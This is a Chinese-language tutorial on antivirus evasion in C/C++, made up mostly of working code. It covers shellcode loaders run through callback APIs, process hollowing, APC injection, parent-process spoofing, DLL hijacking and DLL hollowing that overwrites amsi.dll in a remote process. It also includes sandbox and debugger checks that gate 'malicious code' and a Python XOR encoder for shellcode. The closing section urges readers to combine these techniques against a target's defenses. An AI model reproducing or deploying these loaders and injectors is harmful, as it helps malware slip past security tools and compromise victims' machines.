C&C++的加载器操作+进程操作+DLL加载&抗沙盒沙箱反调试
字数 864 2025-09-01 11:26:03
C/C++ 高级免杀技术:加载器操作、进程操作与DLL加载
一、加载器操作技术
1. 基础加载器技术
基础加载器使用Windows API直接加载和执行shellcode:
#include <Windows.h>
unsigned char shellcode[] = "shellcode数据";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); // 使用回调函数执行
}
int main() {
CallBack();
}
2. 动态API调用技术
通过动态获取API地址来隐藏敏感调用:
#include <Windows.h>
unsigned char shellcode[] = "shellcode数据";
// 定义VirtualAlloc函数指针类型
typedef LPVOID(WINAPI* VAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
VAlloc vip = (VAlloc)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");
// 定义EnumFontsW函数指针类型
typedef int(WINAPI* Eum)(HDC, LPCWSTR, FONTENUMPROCW, LPARAM);
Eum eum = (Eum)GetProcAddress(GetModuleHandleA("GDI32.dll"), "EnumFontsW");
void CallBack() {
void* p = vip(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
eum(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}
int main() {
CallBack();
}
3. Inline Hook技术
Inline Hook通过修改目标函数代码实现函数劫持:
#include <stdio.h>
#include <windows.h>
BYTE originalBytes[7] = { 0 };
BYTE NewCode[7] = { 0 };
BYTE* addr = NULL; // MessageBoxA的地址
// 自定义Hook函数
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
printf("MessageBoxA was called! Text: %s\n", lpText);
// 恢复原始字节(临时取消Hook)
DWORD oldProtect;
VirtualProtect(addr, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(GetCurrentProcess(), addr, originalBytes, 7, NULL);
VirtualProtect(addr, 7, oldProtect, &oldProtect);
// 调用原始MessageBoxA
int ret = MessageBoxA(hWnd, lpText, lpCaption, uType);
// 重新设置Hook
VirtualProtect(addr, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(GetCurrentProcess(), addr, NewCode, 7, NULL);
VirtualProtect(addr, 7, oldProtect, &oldProtect);
return ret;
}
// 设置Hook
void SetHook() {
// 获取MessageBoxA地址
addr = (BYTE*)GetProcAddress(GetModuleHandleA("USER32.dll"), "MessageBoxA");
// 备份原始字节
memcpy(originalBytes, addr, 7);
// 构造跳转代码: mov eax, MyMessageBoxA; jmp eax
DWORD JmpAddress = (DWORD)MyMessageBoxA;
NewCode[0] = 0xB8; // mov eax, imm32
memcpy(&NewCode[1], &JmpAddress, 4);
NewCode[5] = 0xFF; // jmp eax
NewCode[6] = 0xE0;
// 修改内存保护并写入跳转代码
DWORD oldProtect;
VirtualProtect(addr, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(GetCurrentProcess(), addr, NewCode, 7, NULL);
VirtualProtect(addr, 7, oldProtect, &oldProtect);
}
int main() {
SetHook(); // 启用Hook
MessageBoxA(NULL, "Hello World", "Title", MB_OK);
return 0;
}
二、进程操作技术
1. 进程镂空(Process Hollowing)
创建一个挂起的合法进程,然后替换其内存内容:
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "kernel32.lib")
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, wchar_t* argv[]) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si);
// 创建挂起的进程
BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 读取要替换的可执行文件
char path[] = "HelloWorld.exe";
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
PVOID FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
DWORD FileReadSize;
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
// 解析PE头
PIMAGE_DOS_HEADER pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew);
// 获取挂起进程上下文
GetThreadContext(pi.hThread, &ctx);
// 64位模式下从PEB读取ImageBase
PVOID RemoteImageBase;
#ifdef _WIN64
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)),
&RemoteImageBase, sizeof(PVOID), NULL);
#elif defined(_X86_)
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8),
&RemoteImageBase, sizeof(PVOID), NULL);
#endif
// 卸载已存在的模块
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase) {
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);
}
// 分配内存并写入PE头
PVOID RemoteProcessMemory = VirtualAllocEx(pi.hProcess,
(PVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage,
pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
// 写入各节区
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionHeaders = (PIMAGE_SECTION_HEADER)
((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) +
(i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess,
(PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress),
(PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData),
pSectionHeaders->SizeOfRawData, NULL);
}
// 设置入口点
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory +
pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)),
&pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#elif defined(_X86_)
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory +
pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)),
&pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
// 恢复线程执行
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
2. APC注入技术
使用异步过程调用(APC)执行shellcode:
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <winternl.h>
#include <string.h>
#include <time.h>
unsigned char shellcode[] = "shellcode";
typedef DWORD(WINAPI* pNtTestAlert)();
void ApcLoader() {
char encryptedShellcode[] = "xor加密后的shellcode";
char key[] = "henry123456aa+-==@asd";
unsigned char shellcode[sizeof encryptedShellcode];
int keylength = strlen(key);
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
}
DWORD oldProtect;
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);
NtTestAlert();
}
void main() {
ApcLoader();
}
3. 进程欺骗技术
通过修改父进程ID实现进程欺骗:
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
DWORD getParentProcessID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, L"explorer.exe")) {
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
char encryptedShellcode[] = "xor加密的shellcode";
char key[] = "henry123456aa+-==@asd";
unsigned char shellCode[sizeof encryptedShellcode];
int keylength = strlen(key);
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellCode[i] = encryptedShellcode[i] ^ key[i % keylength];
}
// 创建进程并设置父进程为explorer.exe
STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&expHandle, sizeof(HANDLE), NULL, NULL);
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
NULL, NULL, NULL, TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);
// 分配内存并写入shellcode
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPCVOID)shellCode, sizeof(shellCode), NULL);
// APC调用执行shellcode
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);
return 0;
}
三、DLL加载技术
1. 基础DLL加载
// dllmain.cpp
#include "pch.h"
#include <windows.h>
#include <iostream>
HANDLE My_hThread = NULL;
DWORD WINAPI ceshi(LPVOID pParameter) {
char encryptedShellcode[] = "xor加密的shellcode";
char key[] = "henry123456aa+-==@asd";
unsigned char shellcode[sizeof encryptedShellcode];
int keylength = strlen(key);
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
}
char* addrShellcode = (char*)shellcode;
DWORD dwOldPro = 0;
VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" _declspec(dllexport) void test() {
int a = 0;
}
2. DLL劫持技术
- 使用Process Monitor查找目标程序加载的DLL
- 使用StudyPE+修改目标程序的导入表,添加恶意DLL
- 替换原始DLL文件并添加恶意DLL
3. DLL镂空技术
#include <iostream>
#include <Windows.h>
#include <psapi.h>
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
CHAR remoteModuleName[128] = {};
HMODULE remoteModule = NULL;
// Shellcode解密
char encryptedShellcode[] = "xor加密后的shellcode代码";
char key[] = "henry123456aa+-==@asd";
unsigned char shellcode[sizeof encryptedShellcode];
int keylength = strlen(key);
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
}
// 注入合法DLL
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
// 查找注入的DLL模块
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++) {
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
if (std::string(remoteModuleName).compare("amsi.dll") == 0) {
break;
}
}
// 获取DLL入口点
DWORD headerBufferSize = 0x1000;
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
// 覆盖DLL代码并执行
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
return 0;
}
四、抗沙箱与反调试技术
1. 抗沙箱技术
1.1 延迟执行
#include <Windows.h>
#include <stdio.h>
int seep() {
int i = 0;
int j = 0;
char* strpi = NULL;
strpi = (char*)malloc(10000);
for (i = 0; i < 10000; i++) {
strpi[i] = 0;
printf("%d,%d\n", strpi[i], i);
}
for (j = 0; j < 300; j++) {
printf("%d,%d\n", strpi[j], j);
}
free(strpi);
return 0;
}
1.2 文件检测
#include <Windows.h>
#include <fstream>
bool Is_File_Exist(const std::string& file_path) {
std::ifstream file(file_path.c_str());
return file.good();
}
void main() {
if (Is_File_Exist("1.txt")) {
// 执行恶意代码
}
}
1.3 用户名检测
#include <Windows.h>
#include <stdio.h>
int gensandbox_username() {
char username[200];
size_t i;
DWORD usersize = sizeof(username);
GetUserNameA(username, &usersize);
for (i = 0; i < strlen(username); i++) {
username[i] = toupper(username[i]);
}
if (strstr(username, "ADMIN") != NULL) {
return TRUE;
}
return FALSE;
}
2. 反调试技术
2.1 基础反调试
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
BOOL CheckDebug() {
BOOL ret;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
return ret;
}
int main() {
typedef NTSTATUS(WINAPI* PNtQueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS,
OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort,
&isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) {
MessageBox(nullptr, L"Finding debugger", L"Find Debugger", MB_OK);
} else {
MessageBox(nullptr, L"No debugger", L"No Debugger", MB_OK);
// 执行恶意代码
}
}
2.2 综合反调试与反沙箱
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <fstream>
BOOL CheckDebug() {
BOOL ret;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
return ret;
}
bool Is_File_Exist(const std::string& file_path) {
std::ifstream file(file_path.c_str());
return file.good();
}
int gensandbox_username() {
char username[200];
size_t i;
DWORD usersize = sizeof(username);
GetUserNameA(username, &usersize);
for (i = 0; i < strlen(username); i++) {
username[i] = toupper(username[i]);
}
if (strstr(username, "ADMIN") != NULL) {
return TRUE;
}
return FALSE;
}
void RunSC() {
// Shellcode解密和执行代码
}
int main() {
typedef NTSTATUS(WINAPI* PNtQueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS,
OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort,
&isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) {
MessageBox(nullptr, L"Finding debugger", L"Find Debugger", MB_OK);
} else {
MessageBox(nullptr, L"No debugger", L"No Debugger", MB_OK);
if (Is_File_Exist("win.code") && gensandbox_username()) {
RunSC();
}
}
}
五、工具与资源
- StudyPE+ - 用于分析PE文件和修改导入表
- Process Monitor - 用于监控进程行为,查找DLL加载情况
- DKMC - 生成分离式shellcode (https://github.com/Mr-Un1k0d3r/DKMC)
- XOR加密脚本 - 用于shellcode加密
# xor-encode.py
def xor_encrypt(shellcode, key):
encrypted_shellcode = bytearray()
key_len = len(key)
for i in range(len(shellcode)):
encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
return encrypted_shellcode
def main():
buf = b"此处放置shellcode代码"
shellcode = bytearray(buf)
key = bytearray(b'henry123456aa+-==@asd')
encrypted_shellcode = xor_encrypt(shellcode, key)
print("Encrypted shellcode:")
encrypted_shellcode_string = ""
for byte in encrypted_shellcode:
encrypted_shellcode_string += ("\\x%02x"%byte)
print(encrypted_shellcode_string)
if __name__ == "__main__":
main()
六、总结
本文详细介绍了C/C++下的高级免杀技术,包括:
- 加载器技术:基础加载、动态API调用、Inline Hook
- 进程操作:进程镂空、APC注入、进程欺骗
- DLL技术:基础DLL加载、DLL劫持、DLL镂空
- 反检测技术:抗沙箱(延迟、文件检测、用户名检测)和反调试
这些技术可以组合使用,构建更加复杂的免杀方案。在实际应用中,应根据目标环境的安全防护水平选择合适的技术组合,并不断更新和改进以应对新的检测手段。